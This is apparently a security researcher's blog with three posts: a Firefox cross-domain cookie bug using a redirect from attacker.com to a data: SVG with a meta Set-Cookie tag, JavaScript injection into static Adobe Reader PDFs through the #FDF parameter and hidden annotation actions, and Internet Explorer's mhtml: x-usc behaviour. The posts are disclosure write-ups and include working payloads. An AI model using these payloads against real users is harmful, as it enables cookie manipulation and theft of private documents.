Tuesday, December 6, 2016

Firefox - SVG cross domain cookie vulnerability

SVG - Setting cookies cross domain via img tag

I recently read that browsers allow to use meta tags to set cookies. I am not sure if I just forgot about this feature or never used it before. As I played with SVG in the past I decided to give it a try. 
The SVG standard does not include the meta tag but it supports the foreignobject tag:

The <foreignObject> SVG element allows for inclusion of a foreign XML namespace which has its graphical content drawn by a different user agent.

An simple example taken from mdn shows how to use the XHTML namespace inside a SVG file:
<foreignObject width="100" height="50"
<!-- XHTML content goes here -->
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>Here is a paragraph that requires word wrap</p>

Setting the cookie

I adapted the example and pointed the Browser to the following SVG:
<svg xmlns='http://www.w3.org/2000/svg'>
<circle r='100'>
<html xmlns='http://www.w3.org/1999/xhtml'>
<meta http-equiv='Set-Cookie' content='ppp=qqq' />
The hosting domain now has a cookie ppp=qqq.
The next step was to try, what will happen if another domain is loading this SVG file:
// Domain: http://example.com
<!DOCTYPE html>
<img src="http://attacker.com/cookie.svg">
Sadly the cookie was set for attacker.com, not for example.com.

Redirects + data uris

The final trick to make things work was to use the data: protocol handler and redirects.
Assume the following code on the domain example.com
<!DOCTYPE html>
<img src="http://attacker.com/cookie">
The webserver at attacker.com uses the following response code:

HTTP 302 Found
Location: data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg'><circle r='100'></circle><foreignObject><html xmlns='http://www.w3.org/1999/xhtml'><meta http-equiv='Set-Cookie' content='ppp=qqq' /></html></foreignObject></svg>

As soon as I opened this test case in Firefox, a cookie was set for example.com. This can introduce a lot of different vulnerabilities for web pages, which allow to include images from external/third party sites.
Another issue popped up during the investigation of the issue via the firefox team, which can be read here as soon it is public:

The bug bounty decision is still in progress.

I have to thank my Cure53 mates, who helped playing with this vulnerability (especially Masato)

Sunday, October 23, 2016

PDF - How to steal PDFs by injecting JavaScript


Quite some time has passed since my last blog post, so I decided to present a nice feature of PDF. I will use a made up example to demonstrate how to inject JavaScript into a static PDF, which does not contain any attacker controlled data.
This bug was fixed on January 10, 2017.
Adobe Reader now displays a warning dialog for injected JavaScript via Additional Action.

The scenario

The EB or "example Bank" at example.com offers a member area for customers. After an user is logged in he can view PDFs, which contain important account information. One of the PDFs is available via http://example.com/data.pdf. 
How can an attacker inject JavaScript into this PDF, assuming that the victim is logged in, and steal it?

Injection Point: Welcome Open Parameters

Normally internal PDF features are used to load external content via one of the action types or JavaScript, which offers different function calls like submitForm to load external content. 
But as stated above, the PDF is static and the attacker can't influence it at all. 
Thankfully PDF supports a list of URL parameters called open parameters
Most parameters are pretty boring besides the last one in the list:


Specifies an FDF file to populate form fields in the PDF file being opened. For example:
Note: The fdf parameter should be specified last in a URL.

FDF? It could be that some of you are not familiar with this file type so lets talk about the form data format:

What is: XDP,XFDF and FDF?

I am not going to talk much about XDP, as it will not be used for the attack, but here is the description taken from Wikipedia:

Wikipedia: "XML Data Package (XDP) is an XML file format created by Adobe Systems in 2003. It is intended to be an XML-based companion to PDF. It allows PDF content and/or Adobe XML Forms Architecture (XFA) resources to be packaged within an XML container."

This feature was mostly used to evade AV detection:


XFDF is the XML version of FDF. As it only contains a subset of FDF, I won't discuss it. 
Simply speaking FDF can contain JavaScript, Form Data, Annotations or even complete PDF Pages (although I never managed to make this feature work).
A sample structure looks like this: 

1 0 obj
/FDF <<
/JavaScript << 
/After (app.alert('after'))
/Doc [
    ] >>
        <</T(Street)/V(345 Park Ave.)>>
        <</T(City)/V(San Jose)>>
/Root 1 0 R


The general structure of FDF is the same as PDF. It needs a header eg. %FDF-<version> or the trailer object to specify the start objects. This example already shows two possible Keys, JavaScript and Fields. The Fields key allows it to specify a value for an existing form field in the existing PDFs. The JavaScript key allows to include JavaScript, which is executed in the loading PDF. The After key is executed as soon as the whole FDF is imported. The Doc key defines an array, which contains additional JavaScript scripts to be added to those defined in the JavaScript entry of the document’s name dictionary. So all the necessary ingredients for a working attack are there, right? Wrong! This is what happens if the following FDF is loaded in a PDF:

URL: http://example.com/fdf/asd.pdf#FDF=http://example.com/x_adat.fdf

/* English: JavaScript was blocked, to protect against security risk. */

This makes the JavaScript key useless for an attacker as the victim will not allow the script to run.
Let's keep reading the FDF specification.


As I already mentioned FDF supports annotation. There are a lot of different annotations, the most known one being the comment annotation. Additionally you can add files, add sounds, stamps or strike-through text:

These annotations are not interesting regarding their functionality (besides the movie and screen annotations, as these allow to load flash files), but FDF supports a field called Additional Actions for annotations. This field allows to execute specific actions based on trigger events. PDF supports a lot of different events, the most useful for annotation is called PO: "An action to be performed when the page containing the annotation is opened."
By combining this event + the JavaScript action we have another way to inject JavaScript. The following FDF uses the FreeText annotation to add a JavaScript action to it:

1 0 obj
<</FDF<</Annots[2 0 R]
2 0 obj
/C[1.0 1.0 1.0]
/DA(0.898 0.1333 0.2157 rg /Helv 12 Tf)
/DS(font: Helvetica,sans-serif 12.0pt; text-align:left; color:#E52237 )
/F 4
/Page 0
/RC(<?xml version="1.0"?><body xmlns="http://www.w3.org/1999/xhtml" xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/" xfa:APIVersion="Acrobat:15.17.0" xfa:spec="2.0.2"  style="font-size:12.0pt;text-align:left;color:#FF0000;font-weight:normal;font-style:norm\
al;font-family:Helvetica,sans-serif;font-stretch:normal"><p dir="ltr"><span style="font-family:Helvetica">Hjj</span></p></body>)
/Rect[188.895 758.279 222.252 794.679]
/AA 8 0 R

8 0 obj
/PO <<
/S /JavaScript
                /JS (app.alert(2);)

<</Root 1 0 R>>


Let's load it: 
URL: http://example.com/data.pdf#FDF=http://example.com/fdf/test2.fdf

As you can see the FreeText annotation is displayed and therefore JavaScript is executed inside the PDF. If you want to hide the injected annotation, modify the following key:

/Rect[188.895 758.279 222.252 794.679] ==> 
/Rect[0 0 0 0]

Adobe reader does not show any warning dialog so an attacker can send the following link to a logged in victim to steal his PDF information:


The JavaScript payload to actually steal the information is left as an exercise. 


The impact of this attack is reduced as the FDF needs to be on the same origin as the loading PDF. I came up with two possible scenarios to bypass/fulfill this requirement. First an open redirect vulnerability can be used to load the FDF. Adobe Reader follows redirects without any checks regarding the new location. Second the FDF allows 494 bytes before its header. Additionally the content-type is ignored. This could be used to create a polyglot, which could be uploaded to the vulnerable site. The second approach is difficult as Adobe Reader blacklists a lot of possible headers like JPG, PNG and other images. 

Friday, February 12, 2016

MHTML: x-usc - A feature from the past

What is mhtml ?

For those who have never saved a complete web page in Internet Explorer, mhtml or its extensions .mht is most likely unknown. MHTML stands for MIME Encapsulation of Aggregate HTML Documents. Wikipedia describes it as a "web page archive format used to combine in a single document the HTML code and its companion resources that are otherwise represented by external links (such as images, Flash animations, Java applets, and audio files)".
It caused some troubles in the past, but I am not talking about those problems.

mhtml: handler - Internet Explorer

The mhtml handler can be used to specify a specific file inside a .mht file. It is used like this:

<img src="mhtml:http://example.com/file.mht!/image/image.jpg">

But it can do more than this. The interesting feature is how external links are implemented inside .mht files. It uses the x-usc: directive. This directive works always, no matter what file or what web page is addressed and also in the context of html pages. All you need is to specify the mhtml: handler.
Copy & paste the following url into the address bar of Internet Explorer:


Look closely at the requests IE will send. It will fetch google.com as well as bing.com, which is then displayed. This can be concatenated even more:


Side Note: Edge does not recognize mhtml: via Copy&Paste. But when you change the location via JavaScript to a mhtml: uri, it works the same as in IE.

Of course this feature can be used in img tags, iframe, embed etc. Also any redirects in any of the concatenated web sites will be followed.

Have Fun playing with this feature, I have not discovered any important vulnerability so far :/